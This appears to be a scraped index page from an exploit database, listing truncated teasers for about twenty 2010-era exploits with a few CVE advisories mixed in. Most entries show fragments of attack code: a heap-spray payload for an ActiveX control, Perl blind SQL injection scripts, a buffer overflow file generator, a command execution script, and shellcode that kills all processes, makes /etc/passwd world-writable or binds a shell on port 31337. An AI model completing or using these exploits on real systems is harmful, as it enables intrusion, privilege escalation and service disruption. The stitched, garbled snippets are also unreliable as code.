Mediacoder 0.7.5.4710 Buffer Overflow Exploit

Exploit for windows platform in category local exploits ============================================= Mediacoder 0.7.5.4710 Buffer Overflow Exploit ============================================= media coder 0.7.5.4710 0 day buffer overflow exploit vulnerble application link...

Mediacoder 0.7.5.4710 - Local Buffer Overflow

Mediacoder 0.7.5.4710 - Local Buffer Overflow media coder 0.7.5.4710 0 day buffer overflow exploit vulnerble application link http://www.mediacoderhq.com/dlfull.htm tested on XP SP2 !/usr/bin/python to exploit load the crash.m3u file and double click on it filename = "crash.m3u" junk = "\x41" 256...

Advanced File Vault(eSellerateControl350.dll) Activex Heap Spray 0-day

No description provided by source. // Exploit Title: Advanced File VaulteSellerateControl350.dll Activex Heap Spray 0-day // Date: 08-08-2010 // Author: ThE g0bL!N // Version: 0-day // Tested on: xp sp2 html script language="JavaScript" defer var sCode =...

CVE-2010-2985: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in IBM WebSphere Service Registry and Repository WSRR 6.3 allow remote attackers to inject arbitrary web script or HTML via 1 the searchTerm parameter to ServiceRegistry/HelpSearch.do or 2 the queryItems0.value parameter to...

Advanced File Vault(eSellerateControl350.dll) Activex Heap Spray

Exploit for windows platform in category remote exploits ================================================================ Advanced File VaulteSellerateControl350.dll Activex Heap Spray ================================================================ // Exploit Title: Advanced File...

Advanced File Vault - eSellerateControl350.dll ActiveX HeapSpray

Advanced File Vault - eSellerateControl350.dll ActiveX HeapSpray // Exploit Title: Advanced File VaulteSellerateControl350.dll Activex Heap Spray 0-day // Date: 08-08-2010 // Author: ThE g0bL!N // Version: 0-day // Tested on: xp sp2 var sCode =...

Advanced File Vault - 'eSellerateControl350.dll' ActiveX HeapSpray

// Exploit Title: Advanced File VaulteSellerateControl350.dll Activex Heap Spray 0-day // Date: 08-08-2010 // Author: ThE g0bL!N // Version: 0-day // Tested on: xp sp2 var sCode = unescape"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +...

PunBB 1.3.x / Pun_PM 1.2.6 Blind SQL Injection

!/usr/bin/perl 0-Day PunBB 526 function punpmeditmessage global $forumdb, $forumuser, $langpunpm; $errors = array; // Verify input data $query = array 'SELECT' = 'm.id as id, m.senderid as senderid, m.status as status, u.username as username, m.subject as subject, m.body as body', 'FROM' =...

CVE-2010-2907: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in the Huru Helpdesk comhuruhelpdesk component for Joomla! allows remote attackers to execute arbitrary SQL commands via the cid0 parameter in a detail action to index.php...

Invision power board 2.x 3.x 0-day DDOS

Exploit for windows platform in category dos / poc ======================================= Invision power board 2.x 3.x 0-day DDOS ======================================= The largest Exploit Database in the world ! 2.x 3.x are effected Thanks to Inj3ct0r Cr3w Greetz to R0073r Sid3^effects L0rd...

PHP-Nuke 8.1.0.3.5b Command Execution

PHP-Nuke REMEMBER TO ADD THE FINAL / TO THE HOSTNAME "; Change Here to Set your custom shell for example use system ; my $cookies = HTTP::Cookies-new; my $request = LWP::UserAgent-new; $request-agent"Mozilla 5/0"; $request-cookiejar$cookies; END VARS sub...

Microsoft MSHTML.DLL CTIMEOUTEVENTLIST::INSERTINTOTIMEOUTLIST Memory Leak [0-Day]

No description provided by source. html !--http://reversemode.com/index.php?option=comcontent&task=view&id=68&Itemid=1 -- !-- mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com -- head titlemshtml.dll...

Fedora 12 : moin-1.8.8-1.fc12 (2010-9857)

This update fixes XSS issues found in moin 1.8.7: http://moinmo.in/SecurityFixes For a list of bug fixes and new features refer to http://hg.moinmo.in/moin/1.8 /raw-file/1.8.8/docs/CHANGES Note that Tenable Network Security has extracted the preceding description block directly from the Fedora...

Oxygen2PHP 1.1.3 - 'forumdisplay.php' Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./forumdisplay.php?fid=-1'+OR+1!=SELECT...

Oxygen2PHP <= 1.1.3 (forumdisplay.php) Blind SQL Injection Exploit

Exploit for php platform in category web applications ================================================================== Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$h...

ShopCartDx 4.30 - 'products.php' Blind SQL Injection

!/usr/bin/perl 0-Day ShopCartDx /trafficdemos/shopcartdx1/ my $MemberID = shift or my $Method = HTTP::Request-newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://www.warwolfz.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return...

linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes

Exploit for linux/x86 platform in category shellcode ==================================================== linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes ==================================================== / Title: Linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes Kill all processes Date:...

Unfixed XSS vulnerability at police112.com

Security researcher Xylitol, has submitted on 22/06/2010 a cross-site-scripting XSS vulnerability affecting police112.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 29/11/2011. It is currently...

Linux/x86-64 - setuid0 & chmod "/etc/passwd", 0777 & exit0 63 bytes

Linux/x86-64 - setuid0 & chmod "/etc/passwd", 0777 & exit0 - 63 bytes. Shellcode exploit for linx86-64 platform / Title: Linux/x86-64 - setuid0 & chmod "/etc/passwd", 0777 & exit0 - 63 bytes Date: 2010-06-17 Tested: Archlinux x8664 k2.6.33 Author: Jonathan Salwan Web: http://shell-storm.org |...

linux/x86 bindport to 31337 with setreuid (0,0) polymorphic 131 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 bindport to 31337 with setreuid 0,0 polymorphic 131 bytes ===================================================================== /...